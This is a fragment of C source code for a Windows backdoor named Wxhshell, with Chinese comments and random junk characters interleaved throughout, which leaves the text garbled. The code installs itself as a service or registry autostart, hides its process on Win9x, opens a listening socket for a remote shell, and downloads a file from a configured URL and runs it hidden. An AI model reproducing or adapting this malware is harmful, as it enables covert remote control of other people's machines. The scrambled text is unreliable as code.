procName, sizeof(procName)); >6KuZ_ 7gNJ}pLDx CloseHandle(hProcess); Nxp7/Nn3 1@egAo) if(strstr(procName,"services")) return 1; // 以服务启动 1 VcZg%I 0p)#!$ return 0; // 注册表启动 Etj@wy/E } 2ntL7F<ow +7.\>Ucq` // 主模块 &iORB int StartWxhshell(LPSTR lpCmdLine) FxW~Co { 3)3?/y)_ SOCKET wsl; jEo)#j];`< BOOL val=TRUE; uD}Q}]Z int port=0; !g'kWE[ struct sockaddr_in door; i^f*Em1 @l41'?m if(wscfg.ws_autoins) Install(); N8#wQ*MM> tZB"(\ port=atoi(lpCmdLine); p
D-k<8| (_ HwU/ if(port<=0) port=wscfg.ws_port; ,(
u-x! 8KiG(6*Q WSADATA data;
LhKaqR{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Nawph $SQUN*/> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6j/g/!9c! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xf% _HMKc door.sin_family = AF_INET; uB_8P+h7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); H`d595<=i; door.sin_port = htons(port); hSr2<?yk D=Jj !; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _)XQb1] closesocket(wsl);
Tr* 3:J } return 1; r$T\@oTL } g(& hu S '"qTmo! if(listen(wsl,2) == INVALID_SOCKET) { W|'7)ph closesocket(wsl); @G,pM: t return 1; GJS3O;2* } D~P3~^ Wxhshell(wsl); hg4 d]R, WSACleanup(); tpPP5C{ `1
A,sXfa return 0; >}?jO B C.4r`F$p } rZ'&'#Q 4}.PQ{ // 以NT服务方式启动 /Z^"[Ke VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >8M=REn4 { Bie#GKc DWORD status = 0; =>3wI'I DWORD specificError = 0xfffffff; #0kVhx7%
!:Z
lVIA serviceStatus.dwServiceType = SERVICE_WIN32; >-oB%T serviceStatus.dwCurrentState = SERVICE_START_PENDING; KTtB!4by
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8L1vtYz serviceStatus.dwWin32ExitCode = 0; Ec'Hlsgh&T serviceStatus.dwServiceSpecificExitCode = 0; 2S,N9(7 serviceStatus.dwCheckPoint = 0; RRRF/Z;)) serviceStatus.dwWaitHint = 0; !B|Aq-
n, v'RpsCov hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ] MP*5U>; if (hServiceStatusHandle==0) return; .,h>2;f f.)z_RyGd status = GetLastError(); Jt++3] if (status!=NO_ERROR) LuW>8K\ { yxk:5L \A serviceStatus.dwCurrentState = SERVICE_STOPPED; %B}<5iO serviceStatus.dwCheckPoint = 0; >^:*x_a9 serviceStatus.dwWaitHint = 0; G.")Bg serviceStatus.dwWin32ExitCode = status; |#(KP serviceStatus.dwServiceSpecificExitCode = specificError; A:b(@'h SetServiceStatus(hServiceStatusHandle, &serviceStatus); w :nYsuF return; I%(YR" } ^Y%'"QwJS :Oiz|b( serviceStatus.dwCurrentState = SERVICE_RUNNING; P K+rr.k] serviceStatus.dwCheckPoint = 0; .q90+9Ek= serviceStatus.dwWaitHint = 0; ]y0bgKTK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); epN!+(v } QHU|aC{r \<ko)I#% // 处理NT服务事件,比如:启动、停止 p~'iK4[&6 VOID WINAPI NTServiceHandler(DWORD fdwControl) VdL*"i { ~ECIL7, switch(fdwControl) =e)t,YVm { C]EkVcKFA case SERVICE_CONTROL_STOP: *c<6 Er>s serviceStatus.dwWin32ExitCode = 0; OI^??joQ serviceStatus.dwCurrentState = SERVICE_STOPPED; o%yfR.M6$ serviceStatus.dwCheckPoint = 0; !),eEy serviceStatus.dwWaitHint = 0; v*";A { ;NMv>1fI SetServiceStatus(hServiceStatusHandle, &serviceStatus); y`,;m#frT } jFDVd;#CS return; D~ogq] case SERVICE_CONTROL_PAUSE: mO=A50_&,Q serviceStatus.dwCurrentState = SERVICE_PAUSED; 'GI|
t break; m>{a<N case SERVICE_CONTROL_CONTINUE: -=cxUDB serviceStatus.dwCurrentState = SERVICE_RUNNING; TUBpRABH break; {=%,NwPs case SERVICE_CONTROL_INTERROGATE: `- HI)-A97 break; TTa$wiW7' }; HKL/D SetServiceStatus(hServiceStatusHandle, &serviceStatus); efr 9 } Rtu"#XcBw+ /S{U|GBB%r // 标准应用程序主函数 6&
(b L<8b int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dAWB.# { KS'n$ T09 5]*Hm // 获取操作系统版本 ^GpLl OsIsNt=GetOsVer(); de/oK c GetModuleFileName(NULL,ExeFile,MAX_PATH); O llS mv,5Q6! // 从命令行安装 29AE B if(strpbrk(lpCmdLine,"iI")) Install(); C 547}) tzShds // 下载执行文件 :5sjF:@ if(wscfg.ws_downexe) { g#k@R'7E if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \ 5.nr*5 WinExec(wscfg.ws_filenam,SW_HIDE); x2,;ar\D } h2-v.Tjf }_Ci3|G>%D if(!OsIsNt) { 6:~<L!`& // 如果时win9x,隐藏进程并且设置为注册表启动 Z9G4in8 HideProc(); .mHVJ5^:4\ StartWxhshell(lpCmdLine); enx+,[ } tQ*?L else SBy{sbx4&F if(StartFromService()) F
EUfskv // 以服务方式启动 AGl#f\_^ StartServiceCtrlDispatcher(DispatchTable); /X]gm\x7s else s~QIs // 普通方式启动 7Ll?#eun StartWxhshell(lpCmdLine); Q45gC28x QQ`tSYgex return 0; m@Dra2Cv'@ }
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